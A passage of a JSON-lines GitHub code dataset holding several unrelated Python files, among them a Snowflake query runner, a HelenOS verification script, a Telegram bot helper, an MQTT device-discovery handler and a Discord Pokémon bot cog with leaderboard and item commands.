get_topk(5)\n","repo_name":"SangYuhiter/TopK-Log-Map-Reduce","sub_path":"GetTopK.py","file_name":"GetTopK.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26038919363","text":"#!/usr/bin/python\n\nimport argparse\nimport os\nimport sys\n\nfrom extract.utils import snowflake_engine_factory, execute_query\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"queries_file\", nargs=\"?\", type=argparse.FileType(\"r\"),\n default=sys.stdin)\nparser.add_argument(\"role\", help=\"The role to run the queries for\")\nparser.add_argument(\"schema\", help=\"Default schema to use for queries\")\n\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n\n engine = snowflake_engine_factory(os.environ.copy(), args.role, args.schema)\n\n for line in args.queries_file:\n line = line.rstrip(\"\\n\")\n execute_query(engine, line)\n","repo_name":"Adovenmuehle/dbt","sub_path":"utils/run_snowflake_queries.py","file_name":"run_snowflake_queries.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27172068595","text":"import pickle\nimport os\nfrom skimage import io\nfrom sklearn import preprocessing\nfrom torch.utils.data import Dataset\nimport pandas as pd\n\nclass WhaleDataset(Dataset):\n \"\"\"Whale dataset.\"\"\"\n\n encoder_filepath = \"label_encoder.p\"\n\n\n def __init__(self, csv_file, root_dir, train=False, transform=None):\n \"\"\"\n Args:\n csv_file (string): Path to the csv file with annotations.\n root_dir (string): Directory with all the images.\n transform (callable, optional): Optional transform to be applied\n on a sample.\n \"\"\"\n label_data = pd.read_csv(csv_file)\n label_encoder = preprocessing.LabelEncoder()\n if train:\n label_data['label'] = label_encoder.fit_transform(label_data['whaleID'])\n pickle.dump(label_encoder, open(self.encoder_filepath, \"wb\"))\n print(\"Finish writing encoder to file\")\n else:\n label_data['label'] = -1\n\n self.img_lookup = label_data\n self.root_dir = root_dir\n self.transform = transform\n\n def __len__(self):\n return len(self.img_lookup)\n\n def __getitem__(self, idx):\n img_name = os.path.join(self.root_dir, self.img_lookup.ix[idx, 0])\n image = io.imread(img_name)\n\n whale_id = self.img_lookup.ix[idx, 2]\n sample = {'image_name': self.img_lookup.ix[idx, 0],\n 'image': image,\n 'whale_id': whale_id}\n\n if self.transform:\n sample = self.transform(sample)\n\n return sample\n\n @staticmethod\n def inverse_transform(encoder, class_labels):\n return encoder.inverse_transform(class_labels)\n\n def get_encoder(self):\n return pickle.load(open(self.encoder_filepath, \"rb\"))\n\n","repo_name":"tramanh06/kaggle-right-whale","sub_path":"floyd/whale_dataset.py","file_name":"whale_dataset.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16754190683","text":"import sys\nimport os\nimport subprocess\nimport jobfile\nimport re\n\njobs = [\n\t\"kernel/kernel.job\"\n]\n\nre_attribute = re.compile(\"__attribute__\\s*\\(\\(.*\\)\\)\")\nre_va_list = re.compile(\"__builtin_va_list\")\n\nspecification = \"\"\n\ndef usage(prname):\n\t\"Print usage syntax\"\n\tprint(prname + \" [VCC_PATH]\")\n\ndef cygpath(upath):\n\t\"Convert Unix (Cygwin) path to Windows path\"\n\n\treturn subprocess.Popen(['cygpath', '--windows', '--absolute', upath], stdout = subprocess.PIPE).communicate()[0].strip()\n\ndef preprocess(srcfname, tmpfname, base, options):\n\t\"Preprocess source using GCC preprocessor and compatibility tweaks\"\n\n\tglobal specification\n\n\targs = ['gcc', '-E']\n\targs.extend(options.split())\n\targs.extend(['-DCONFIG_VERIFY_VCC=1', srcfname])\n\n\t# Change working directory\n\n\tcwd = os.getcwd()\n\tos.chdir(base)\n\n\tpreproc = subprocess.Popen(args, stdout = subprocess.PIPE).communicate()[0]\n\n\ttmpf = open(tmpfname, \"w\")\n\ttmpf.write(specification)\n\n\tfor line in preproc.splitlines():\n\n\t\t# Ignore preprocessor directives\n\n\t\tif (line.startswith('#')):\n\t\t\tcontinue\n\n\t\t# Remove __attribute__((.*)) GCC extension\n\n\t\tline = re.sub(re_attribute, \"\", line)\n\n\t\t# Ignore unsupported __builtin_va_list type\n\t\t# (a better solution replacing __builrin_va_list with\n\t\t# an emulated implementation is needed)\n\n\t\tline = re.sub(re_va_list, \"void *\", line)\n\n\t\ttmpf.write(\"%s\\n\" % line)\n\n\ttmpf.close()\n\n\tos.chdir(cwd)\n\n\treturn True\n\ndef vcc(vcc_path, root, job):\n\t\"Run Vcc on a jobfile\"\n\n\t# Parse jobfile\n\n\tinname = os.path.join(root, job)\n\n\tif (not os.path.isfile(inname)):\n\t\tprint(\"Unable to open %s\" % inname)\n\t\tprint(\"Did you run \\\"make precheck\\\" on the source tree?\")\n\t\treturn False\n\n\tinf = open(inname, \"r\")\n\trecords = inf.read().splitlines()\n\tinf.close()\n\n\tfor record in records:\n\t\targ = jobfile.parse_arg(record)\n\t\tif (not arg):\n\t\t\treturn False\n\n\t\tif (len(arg) < 6):\n\t\t\tprint(\"Not enough jobfile record arguments\")\n\t\t\treturn False\n\n\t\tsrcfname = arg[0]\n\t\ttgtfname = arg[1]\n\t\ttool = arg[2]\n\t\tcategory = arg[3]\n\t\tbase = arg[4]\n\t\toptions = arg[5]\n\n\t\tsrcfqname = os.path.join(base, srcfname)\n\t\tif (not os.path.isfile(srcfqname)):\n\t\t\tprint(\"Source %s not found\" % srcfqname)\n\t\t\treturn False\n\n\t\ttmpfname = \"%s.preproc\" % srcfname\n\t\ttmpfqname = os.path.join(base, tmpfname)\n\n\t\tvccfname = \"%s.i\" % srcfname\n\t\tvccfqname = os.path.join(base, vccfname);\n\n\t\t# Only C files are interesting for us\n\t\tif (tool != \"cc\"):\n\t\t\tcontinue\n\n\t\t# Preprocess sources\n\n\t\tif (not preprocess(srcfname, tmpfname, base, options)):\n\t\t\treturn False\n\n\t\t# Run Vcc\n\t\tprint(\" -- %s --\" % srcfname)\n\t\tretval = subprocess.Popen([vcc_path, '/pointersize:32', '/newsyntax', cygpath(tmpfqname)]).wait()\n\n\t\tif (retval != 0):\n\t\t\treturn False\n\n\t\t# Cleanup, but only if verification was successful\n\t\t# (to be able to examine the preprocessed file)\n\n\t\tif (os.path.isfile(tmpfqname)):\n\t\t\tos.remove(tmpfqname)\n\t\t\tos.remove(vccfqname)\n\n\treturn True\n\ndef main():\n\tglobal specification\n\n\tif (len(sys.argv) < 2):\n\t\tusage(sys.argv[0])\n\t\treturn\n\n\trootdir = os.path.abspath(sys.argv[1])\n\tif (len(sys.argv) > 2):\n\t\tvcc_path = sys.argv[2]\n\telse:\n\t\tvcc_path = \"/cygdrive/c/Program Files (x86)/Microsoft Research/Vcc/Binaries/vcc\"\n\n\tif (not os.path.isfile(vcc_path)):\n\t\tprint(\"%s is not a binary.\" % vcc_path)\n\t\tprint(\"Please supply the full Cygwin path to Vcc as the second argument.\")\n\t\treturn\n\n\tconfig = os.path.join(rootdir, \"HelenOS.config\")\n\n\tif (not os.path.isfile(config)):\n\t\tprint(\"%s not found.\" % config)\n\t\tprint(\"Please specify the path to HelenOS build tree root as the first argument.\")\n\t\treturn\n\n\tspecpath = os.path.join(rootdir, \"tools/checkers/vcc.h\")\n\tif (not os.path.isfile(specpath)):\n\t\tprint(\"%s not found.\" % config)\n\t\treturn\n\n\tspecfile = file(specpath, \"r\")\n\tspecification = specfile.read()\n\tspecfile.close()\n\n\tfor job in jobs:\n\t\tif (not vcc(vcc_path, rootdir, job)):\n\t\t\tprint()\n\t\t\tprint(\"Failed job: %s\" % job)\n\t\t\treturn\n\n\tprint()\n\tprint(\"All jobs passed\")\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"HelenOS/helenos","sub_path":"tools/checkers/vcc.py","file_name":"vcc.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"en","doc_type":"code","stars":1243,"dataset":"github-code","pt":"72"} +{"seq_id":"71652497514","text":"import asyncio\nfrom itertools import compress\nfrom time import sleep\nfrom typing import Literal\n\nfrom aiogram import types, Bot\nfrom aiogram.types import InputFile, Message\n\nfrom bot import dp, bot\nfrom src.constants import HELP_IMG_PATH, HASHTAGS, OWNER_IDS\nfrom database import cur\nfrom vk_parser import last_post, post_text\n\n# Create main menu markup_main\n\nmarkup_main = types.ReplyKeyboardMarkup(resize_keyboard=True)\nbuttons1: tuple[str, ...] = (\"Подписаться\", \"Отписаться\", \"Список подписок\")\nbuttons2: tuple[str, ...] = (\"Помощь\", \"Контакты для связи\", \"О разработчике\")\nmarkup_main.add(*buttons1)\nmarkup_main.add(*buttons2)\n\nmarkup_help = types.ReplyKeyboardMarkup(resize_keyboard=True)\nmarkup_help.add(('Помощь', ))\n\n\ndef create_inline_markup(lst: list[str], suffix: str = Literal['s', 'u']) -> types.InlineKeyboardMarkup:\n\tmarkup = types.InlineKeyboardMarkup()\n\tfor hashtag in lst:\n\t\tmarkup.add(types.InlineKeyboardButton(text=hashtag, callback_data=hashtag[1:] + suffix))\n\tmarkup.add(types.InlineKeyboardButton(text='Помощь', callback_data='help'))\n\treturn markup\n\n\n@dp.callback_query_handler(text='help')\nasync def send_help(message: Message):\n\tawait bot.send_photo(message.from_user.id, InputFile(HELP_IMG_PATH))\n\n\ndef _subscriptions(message: Message) -> list[str]:\n\t# Итерируемся по бд;\n\t# Выбираем поле с нужным user_id и хештегом;\n\t# Выбираем 1ую запись (fetchone) и достаём 1ый (и единственный) элемент кортежа;\n\ttry:\n\t\treturn [cur.execute(f\"SELECT {hashtag[1:]} FROM data WHERE user_id = {message.from_user.id}\").fetchone()[0] for hashtag in HASHTAGS]\n\texcept TypeError:\n\t\treturn []\n\n\ndef parser(message: Message):\n\ths: list = list(compress(HASHTAGS, _subscriptions(message)))\n\towners: list = list(compress(OWNER_IDS, _subscriptions(message)))\n\t\n\twhile True:\n\t\tfor hash_ in hs:\n\t\t\towner = owners[hs.index(hash_)]\n\t\t\t\n\t\t\told_id: int = cur.execute(f\"SELECT {hash_[1:]} FROM posts WHERE user_id = {message.from_user.id}\").fetchone()[0]\n\t\t\tnew_id: int = last_post(owner)['id']\n\t\t\t\n\t\t\tif old_id != new_id:\n\t\t\t\tasyncio.run_coroutine_threadsafe(bot.send_message(message.from_user.id, post_text(last_post(owner))), asyncio.new_event_loop()) # НЕ РАБОТАЕТ\n\t\t\n\t\tsleep(2 * 3600)\n","repo_name":"wsadqert/IT-FEST_chat-bot","sub_path":"bot_additional.py","file_name":"bot_additional.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"9586064301","text":"from _decimal import Decimal\nfrom peewee import fn\nfrom app.modules.https.ibge_http import obter_dados_ipca\nfrom app.models.movimentos import Movimentos, DescricaoEnum\nfrom app.models.rendimentos import Rendimentos\nfrom app.utils.next_step import next_step\n\n\ndef get_data():\n return Movimentos.select(\n fn.SUM(Movimentos.percentual),\n fn.SUM(Movimentos.valor)\n ) \\\n .where(\n Movimentos.descricao == DescricaoEnum.RENDIMENTO,\n (Movimentos.data_movimento.month == 7) & (Movimentos.data_movimento.year == 2023)).tuples().get()\n\n\ndef update_rendimento():\n rendimento_percentual, rendimento_valor = get_data()\n\n inflacao_percentual = Decimal(obter_dados_ipca(2023, 6)['valor'])\n\n porcentual_sobre_cotacao = rendimento_percentual - inflacao_percentual\n\n print(\n f'''rendimento mensal: {rendimento_percentual}%\\ncotacao: {inflacao_percentual}%\\nporcentual sobre cotação: {porcentual_sobre_cotacao}%''')\n\n next_step()\n\n infla = inflacao_percentual * rendimento_valor;\n #\n Rendimentos.create(\n mes='Julho',\n rendimento_percentual=rendimento_percentual,\n rendimento_valor=rendimento_valor,\n inflacao_percentual=inflacao_percentual,\n inflacao_valor=infla,\n percentual_liquido=porcentual_sobre_cotacao,\n liquidez_final=rendimento_valor - infla,\n )\n","repo_name":"raperina98/my-investment-sys","sub_path":"app/usecases/update_rendimento.py","file_name":"update_rendimento.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37150830347","text":"import asyncio\nimport logging\nfrom typing import Dict, Optional\n\nfrom homeassistant.components.mqtt import ReceiveMessage, subscription\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.helpers import dispatcher\nfrom homeassistant.helpers.typing import HomeAssistantType\n\nfrom .const import DOMAIN, KEY_DEVICES, PLATFORMS, SIGNAL_NEW_DEVICE\nfrom .device import WaveDevice\n\nlogger = logging.getLogger(__name__)\n\n_SN_MODEL_MAP = {\n \"2900\": \"Wave\",\n \"2920\": \"Wave Mini\",\n \"2930\": \"Wave Plus\",\n \"2950\": \"Wave 2nd gen\",\n}\n\n\ndef model_from_serial_number(sn: str) -> Optional[str]:\n try:\n return _SN_MODEL_MAP[sn[:4]]\n except KeyError:\n return None\n\n\nclass DiscoveryHandler:\n def __init__(self, hass: HomeAssistantType, config_entry: ConfigEntry) -> None:\n self.hass = hass\n self.config_entry = config_entry\n\n self._hass_data = hass.data[DOMAIN]\n self._subscription_state = {}\n self._platforms_setup = False\n\n self.__device_lock = asyncio.Lock()\n self.__setup_lock = asyncio.Lock()\n\n @property\n def _devices(self) -> Dict[str, WaveDevice]:\n hass_data = self._hass_data\n try:\n devices = hass_data[KEY_DEVICES]\n except KeyError:\n devices = hass_data[KEY_DEVICES] = {}\n\n return devices\n\n async def start(self) -> None:\n sub_state = subscription.async_prepare_subscribe_topics(self.hass, self._subscription_state, {\n \"discovery\": dict(topic=\"wave/device/#\", msg_callback=self.__handle_message)\n })\n await subscription.async_subscribe_topics(self.hass, sub_state)\n\n async def stop(self) -> None:\n await subscription.async_unsubscribe_topics(self.hass, self._subscription_state)\n\n async def __handle_message(self, msg: ReceiveMessage) -> None:\n try:\n _, sn, attr = msg.topic.rsplit(\"/\", 2)\n except ValueError:\n logger.warning(\"received message with invalid wave topic: %s\", msg)\n return\n\n logger.debug(\"received message %r for %s\", attr, sn)\n\n async with self.__device_lock:\n try:\n device = self._devices[sn]\n except KeyError:\n device = await self.__setup_new_device(sn)\n\n await device.receive_message(attr, msg)\n\n async def __ensure_platforms_setup(self) -> None:\n async with self.__setup_lock:\n if self._platforms_setup:\n return\n\n for platform in PLATFORMS:\n logger.debug(\"setting up platform %s\", platform)\n await self.hass.config_entries.async_forward_entry_setup(self.config_entry, platform)\n\n self._platforms_setup = True\n\n async def __setup_new_device(self, sn: str) -> WaveDevice:\n logger.info(\"discovered new device: %s\", sn)\n await self.__ensure_platforms_setup()\n\n device_info = {\"config_entry_id\": self.config_entry.entry_id,\n \"identifiers\": {(DOMAIN, sn)},\n \"manufacturer\": \"Airthings AS\",\n \"model\": model_from_serial_number(sn),\n \"name\": f\"Wave {sn}\"}\n device = self._devices[sn] = WaveDevice(self.hass, device_info, sn)\n dispatcher.async_dispatcher_send(self.hass, SIGNAL_NEW_DEVICE, device)\n return device\n","repo_name":"siku2/hass-mqtt-airthingswave","sub_path":"custom_components/airthingswave/discovery.py","file_name":"discovery.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31898721092","text":"\"\"\"\r\nMerge function for 2048 game.\r\nRun code in www.codeskulptor.org\r\nJuly 2016 - PK\r\n\"\"\" \r\n \r\ndef merge(line):\r\n \"\"\"\r\n Function that merges a single row or column in 2048.\r\n \"\"\"\r\n merged = list(line)\r\n zeros = []\r\n \r\n # separate 0's & non-zero\r\n while 0 in merged:\r\n merged.pop(merged.index(0))\r\n zeros.append(0)\r\n \r\n # iterate non-zero list \r\n for indx in range(len(merged)):\r\n # check to see if reached end of list\r\n if (indx + 1) != len(list(merged)):\r\n # if the current element == the next element,\r\n # multiply current element by 2, remove neighboring\r\n # element\r\n if merged[indx] == merged[indx + 1]:\r\n added = merged[indx] * 2\r\n merged[indx] = added\r\n merged.pop(indx + 1)\r\n merged.append(0)\r\n merged.extend(zeros)\r\n return merged\r\n \r\n \r\n#def test_merged():\r\n# \"\"\"\r\n# Function to test merge.\r\n# \"\"\"\r\n# print \"Computed [2,0,2,4]: \", merge([2,0,2,4]), \"Expecte: [4,4,0,0]\"\r\n# print \"Computed [0,0,2,2]: \", merge([0,0,2,2]), \"Expecte: [4,0,0,0]\"\r\n# print \"Computed [2,2,0,0]: \", merge([2,2,0,0]), \"Expecte: [4,0,0,0]\"\r\n# print \"Computed [2,2,2,2,2]: \", merge([2,2,2,2,2]), \"Expecte: [4,4,2,0,0]\"\r\n# print \"Computed [8,16,16,8]: \", merge([8,16,16,8]), \"Expecte: [8,32,8,0]\"\r\n# \r\n#test_merged()\r\n","repo_name":"PattyKovash/principles_of_computing_p1","sub_path":"Week_1/2048_merge_function.py","file_name":"2048_merge_function.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44666254645","text":"from tqdm.auto import tqdm\nfrom dataset import ArtDataset\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms as T\nfrom models import TransferModule, VitModule\nimport torch\nimport pandas as pd\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\ndef get_predictions(model, dataloader: DataLoader) -> list:\n \"\"\"Return prediction list for specified dataloader\"\"\"\n print('[INFO] Start making predictions...')\n predictions = []\n with torch.no_grad():\n for batch in tqdm(dataloader, total=len(dataloader)):\n img, _ = batch\n img = img.to(DEVICE)\n _, preds = torch.max(model(img), 1)\n predictions.extend(preds.cpu().numpy().tolist())\n print('[INFO] Done')\n return predictions\n\ndef create_csv_submit(predictions: list, img_names: list, name:str='submission'):\n print('[INFO] Create submission file...')\n submit = pd.DataFrame(\n {'image_name': img_names,\n 'label_id': predictions}\n )\n submit.to_csv(name + '.csv', index=False)\n print(f'[INFO] Done. File saved as {name}.csv')\n return\n\nSIZE = 224\nBATCH_SIZE = 32\nIMG_PATH = 'test'\nPATH2MODEL = 'models/VIT_32_layers/VIT_32_layers_testing_224_img_size_sgd.pth'\nDEVICE = 'cuda' if torch.cuda.is_available else 'cpu'\n\ntransform = T.Compose([\n T.Resize((SIZE, SIZE)),\n T.ToTensor(),\n T.Normalize(mean = [0.485, 0.456, 0.406], std = [0.229, 0.224, 0.225])\n])\n\nprint('[INFO] Load the model...')\nweights = torch.load(PATH2MODEL, map_location=DEVICE)\nmodel = TransferModule(VitModule()).to(DEVICE)\nmodel.load_state_dict(weights)\nmodel.eval()\nprint('[INFO] Done')\n\ndataset = ArtDataset(IMG_PATH, transform=transform)\ndataloader = DataLoader(dataset, batch_size=BATCH_SIZE, shuffle=False, num_workers=4)\n\nimg_names = [item.split(\"/\")[-1] for item in dataset.files]\npredictions = get_predictions(model, dataloader)\ncreate_csv_submit(predictions, img_names, name='vit_submission')","repo_name":"ppetrushenkov/Masters-Of-Arts-Codenrock-Competition","sub_path":"create_submission.py","file_name":"create_submission.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8973717878","text":"import discord\nfrom discord.ext import commands\nfrom discord import Embed\n\nfrom mewcogs.pokemon_list import *\nfrom mewcogs.json_files import *\nfrom mewcogs.market import (\n PATREON_SLOT_BONUS,\n YELLOW_PATREON_SLOT_BONUS,\n SILVER_PATREON_SLOT_BONUS,\n CRYSTAL_PATREON_SLOT_BONUS,\n)\nfrom mewutils.misc import get_pokemon_image, pagify, MenuView, ConfirmView\nfrom mewutils.checks import tradelock\nfrom pokemon_utils.utils import evolve\nfrom typing import Literal\nimport aiohttp\nimport asyncio\nimport cpuinfo\nimport os\nimport psutil\nimport random\nimport subprocess\nimport time\nimport ujson\nfrom math import floor\nfrom datetime import datetime, timedelta\nimport re\nimport ast\n\n\ndef do_health(maxHealth, health, healthDashes=10):\n dashConvert = int(\n maxHealth / healthDashes\n ) # Get the number to divide by to convert health to dashes (being 10)\n currentDashes = int(health / dashConvert) # Convert health to dash count: 80/10 => 8 dashes\n remainingHealth = (\n healthDashes - currentDashes\n ) # Get the health remaining to fill as space => 12 spaces\n cur = f\"{round(health)}/{maxHealth}\"\n\n healthDisplay = \"\".join(\n [\"▰\" for i in range(currentDashes)]\n ) # Convert 8 to 8 dashes as a string: \"--------\"\n remainingDisplay = \"\".join(\n [\"▱\" for i in range(remainingHealth)]\n ) # Convert 12 to 12 spaces as a string: \" \"\n percent = floor((health / maxHealth) * 100) # Get the percent as a whole number: 40%\n if percent < 1:\n percent = 0\n return f\"{healthDisplay}{remainingDisplay}\\n {cur}\" # Print out textbased healthbar\n\ndef calculate_breeding_multiplier(level):\n difference = 0.02\n return f'{round((1 + (level) * difference), 2)}x'\n\ndef calculate_iv_multiplier(level):\n difference = .5\n return f'{round((level * difference), 1)}%'\n\nclass Extras(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.bot.loop.create_task(self.initialize())\n\n async def initialize(self):\n # This is to make sure the dict exists before we access in the cog check\n await self.bot.redis_manager.redis.execute(\n \"HMSET\", \"resetcooldown\", \"examplekey\", \"examplevalue\"\n )\n \n @commands.hybrid_group()\n async def spread(self, ctx):\n ...\n\n @spread.command()\n async def honey(self, ctx):\n \"\"\"Spread honey in this channel to attract Pokémon.\"\"\"\n async with ctx.bot.db[0].acquire() as pconn:\n inv = await pconn.fetchval(\n \"SELECT inventory::json FROM users WHERE u_id = $1\", ctx.author.id\n )\n if not inv:\n await ctx.send(f\"You have not Started!\\nStart with `/start` first!\")\n return\n honey = await pconn.fetchval(\n \"SELECT * FROM honey WHERE channel = $1 LIMIT 1\",\n ctx.channel.id,\n )\n if honey is not None:\n await ctx.send(\"There is already honey in this channel! You can't add more yet.\")\n return\n if \"honey\" in inv and inv[\"honey\"] >= 1:\n inv[\"honey\"] -= 1\n pass\n else:\n await ctx.send(\"You do not have any units of Honey!\")\n return\n expires = int(time.time() + (60 * 60))\n await pconn.execute(\n \"INSERT INTO honey (channel, expires, owner, type) VALUES ($1, $2, $3, 'honey')\",\n ctx.channel.id,\n expires,\n ctx.author.id,\n )\n await pconn.execute(\n \"UPDATE users SET inventory = $1::json WHERE u_id = $2\",\n inv,\n ctx.author.id,\n )\n await ctx.send(\n f\"You have successfully spread some of your honey, rare spawn chance increased by nearly 20 times normal in this channel for the next hour!\"\n )\n\n @commands.hybrid_command()\n async def leaderboard(self, ctx, board: Literal[\"Votes\", \"Servers\", \"Pokemon\", \"Fishing\"]):\n \"\"\"Displays a Leaderboard Based on Votes, Servers, Pokémon or Fishing.\"\"\"\n LEADERBOARD_IMMUNE_USERS = [\n 195938951188578304, # gomp\n 3746, # not a real user, just used to store pokes and such\n ]\n if board.lower() == \"vote\":\n async with ctx.bot.db[0].acquire() as pconn:\n leaders = await pconn.fetch(\n \"SELECT tnick, vote_streak, u_id, staff FROM users WHERE last_vote >= $1 ORDER BY vote_streak DESC\",\n time.time() - (36 * 60 * 60)\n )\n names = [record[\"tnick\"] for record in leaders]\n votes = [record[\"vote_streak\"] for record in leaders]\n ids = [record[\"u_id\"] for record in leaders]\n staffs = [record[\"staff\"] for record in leaders]\n embed = discord.Embed(title=\"Upvote Streak Rankings!\", color=0xFFB6C1)\n desc = \"\"\n true_idx = 1\n for idx, vote in enumerate(votes):\n if staffs[idx] == \"Developer\" or ids[idx] in LEADERBOARD_IMMUNE_USERS:\n continue\n if names[idx] is not None:\n name = f\"{names[idx]} - ({ids[idx]})\"\n else:\n name = f\"Unknown user - ({ids[idx]})\"\n desc += f\"{true_idx}. {vote:,} votes - {name}\\n\"\n true_idx += 1\n pages = pagify(desc, base_embed=embed)\n await MenuView(ctx, pages).start()\n elif board.lower() == \"servers\":\n total = []\n launcher_res = await self.bot.handler(\"statuses\", 1, scope=\"launcher\")\n if not launcher_res:\n await ctx.send(\"I can't process that request right now, try again later.\")\n return\n processes = len(launcher_res[0])\n body = \"return {x.name: x.member_count for x in bot.guilds if x.member_count is not None}\"\n eval_res = await self.bot.handler(\n \"_eval\", processes, args={\"body\": body, \"cluster_id\": \"-1\"}, scope=\"bot\", _timeout=5\n )\n if not eval_res:\n await ctx.send(\"I can't process that request right now, try again later.\")\n return\n for response in eval_res:\n if response[\"message\"]:\n total.extend(ast.literal_eval(response[\"message\"]).items())\n total.sort(key=lambda a: a[1], reverse=True) \n embed = discord.Embed(title=\"Top Servers with Mewbot!\", color=0xFFB6C1)\n desc = \"\"\n true_idx = 1\n for idx, data in enumerate(total):\n name, count = data\n desc += f\"{true_idx}. {count:,} members - {name}\\n\"\n true_idx += 1\n pages = pagify(desc, base_embed=embed)\n await MenuView(ctx, pages).start()\n elif board.lower() == \"pokemon\":\n async with ctx.bot.db[0].acquire() as pconn:\n details = await pconn.fetch(\n \"\"\"SELECT u_id, cardinality(pokes) as pokenum, staff, tnick FROM users ORDER BY pokenum DESC\"\"\"\n )\n pokes = [record[\"pokenum\"] for record in details]\n ids = [record[\"u_id\"] for record in details]\n staffs = [record[\"staff\"] for record in details]\n names = [record[\"tnick\"] for record in details]\n embed = discord.Embed(title=\"Pokemon Leaderboard!\", color=0xFFB6C1)\n desc = \"\"\n true_idx = 1\n for idx, id in enumerate(ids):\n if staffs[idx] == \"Developer\" or ids[idx] in LEADERBOARD_IMMUNE_USERS:\n continue\n pokenum = pokes[idx]\n if names[idx] is not None:\n name = f\"{names[idx]} - ({id})\"\n else:\n name = f\"Unknown user - ({id})\"\n desc += f\"__{true_idx}__. {pokenum:,} Pokemon - {name}\\n\"\n true_idx += 1\n pages = pagify(desc, base_embed=embed)\n await MenuView(ctx, pages).start()\n elif board.lower() == \"fishing\":\n async with ctx.bot.db[0].acquire() as pconn:\n details = await pconn.fetch(\n f\"\"\"SELECT u_id, fishing_exp, fishing_level as pokenum, staff, tnick FROM users ORDER BY fishing_exp DESC\"\"\"\n )\n pokes = [record[\"pokenum\"] for record in details]\n exps = [t[\"fishing_exp\"] for t in details]\n ids = [record[\"u_id\"] for record in details]\n staffs = [record[\"staff\"] for record in details]\n names = [record[\"tnick\"] for record in details]\n embed = discord.Embed(title=\"Fishing Leaderboard!\", color=0xFFB6C1)\n desc = \"\"\n true_idx = 1\n for idx, id in enumerate(ids):\n if staffs[idx] == \"Developer\" or ids[idx] in LEADERBOARD_IMMUNE_USERS:\n continue\n pokenum = pokes[idx]\n exp = exps[idx]\n if names[idx] is not None:\n name = f\"{names[idx]} - ({id})\"\n else:\n name = f\"Unknown user - ({id})\"\n desc += f\"__{true_idx}__. `FishEXP` : **{exp}** - `{name}`\\n\"\n true_idx += 1\n pages = pagify(desc, base_embed=embed)\n await MenuView(ctx, pages).start()\n\n @commands.hybrid_command()\n async def server(self, ctx):\n \"\"\"Display Stats of the Current Server.\"\"\"\n embed = Embed(title=\"Server Stats\", color=0xFFBC61)\n embed.add_field(\n name=\"Official Server\",\n value=\"[Join the Official Server](https://discord.gg/mewbot)\",\n )\n async with ctx.bot.db[0].acquire() as pconn:\n honeys = await pconn.fetch(\n \"SELECT channel, expires, type FROM honey WHERE channel = ANY ($1) \",\n [channel.id for channel in ctx.guild.text_channels],\n )\n desc = \"\"\n for t in honeys:\n channel = t[\"channel\"]\n expires = t[\"expires\"]\n honey_type = t[\"type\"]\n if honey_type == \"honey\":\n honey_type = \"Honey\"\n elif honey_type == \"ghost\":\n honey_type = \"Ghost Detector\"\n elif honey_type == \"cheer\":\n honey_type = \"Christmas Cheer\"\n # Convert the expire timestamp to 10 minute buckets of time remaining\n # Since the task that clears honey only runs every 10 minutes, it doesn't make much sense to try to be more accurate than that\n minutes = int((expires - time.time()) // 60)\n minutes -= minutes % 10\n if minutes < 0:\n minutes = \"Less than 10 minutes\"\n else:\n minutes = f\"{minutes} minutes\"\n desc += f\"{honey_type} Stats for <#{channel}>\\n\\t**__-__Expires in {minutes}**\\n\"\n pages = pagify(desc, base_embed=embed)\n await MenuView(ctx, pages).start()\n \n @commands.hybrid_group()\n async def change(self, ctx):\n ...\n \n @change.command()\n @discord.app_commands.describe(nature=\"The nature to change to.\")\n async def nature(self, ctx, nature: Literal[tuple(natlist)]):\n \"\"\"\n Uses a nature capsule to change your selected Pokemon's nature.\n \"\"\"\n if nature.capitalize() not in natlist:\n await ctx.send(f\"That Nature does not exist!\")\n return\n nature = nature.capitalize()\n async with ctx.bot.db[0].acquire() as conn:\n dets = await conn.fetchval(\n \"SELECT inventory::json FROM users WHERE u_id = $1\", ctx.author.id\n )\n if dets is None:\n await ctx.send(f\"You have not Started!\\nStart with `/start` first!\")\n return\n if dets[\"nature-capsules\"] <= 0 or nature == None:\n await ctx.send(\"You have no nature capsules! Buy some with `/redeem nature capsules`.\")\n return\n dets[\"nature-capsules\"] = dets[\"nature-capsules\"] - 1\n async with ctx.bot.db[0].acquire() as pconn:\n _id = await pconn.fetchval(\"SELECT selected FROM users WHERE u_id = $1\", ctx.author.id)\n name = await pconn.fetchval(\"SELECT pokname FROM pokes WHERE id = $1\", _id)\n await pconn.execute(\n \"UPDATE users SET inventory = $1::json WHERE u_id = $2\",\n dets,\n ctx.author.id,\n )\n await pconn.execute(\"UPDATE pokes SET nature = $1 WHERE id = $2\", nature, _id)\n await ctx.send(f\"You have successfully changed your selected Pokemon's nature to {nature}\")\n\n @commands.hybrid_command()\n async def bag(self, ctx):\n \"\"\"\n Lists your items in your backpack.\n \"\"\"\n async with ctx.bot.db[0].acquire() as conn:\n dets = await conn.fetchval(\n \"SELECT items::json FROM users WHERE u_id = $1\", ctx.author.id\n )\n if dets is None:\n await ctx.send(f\"You have not Started!\\nStart with `/start` first!\")\n return\n desc = 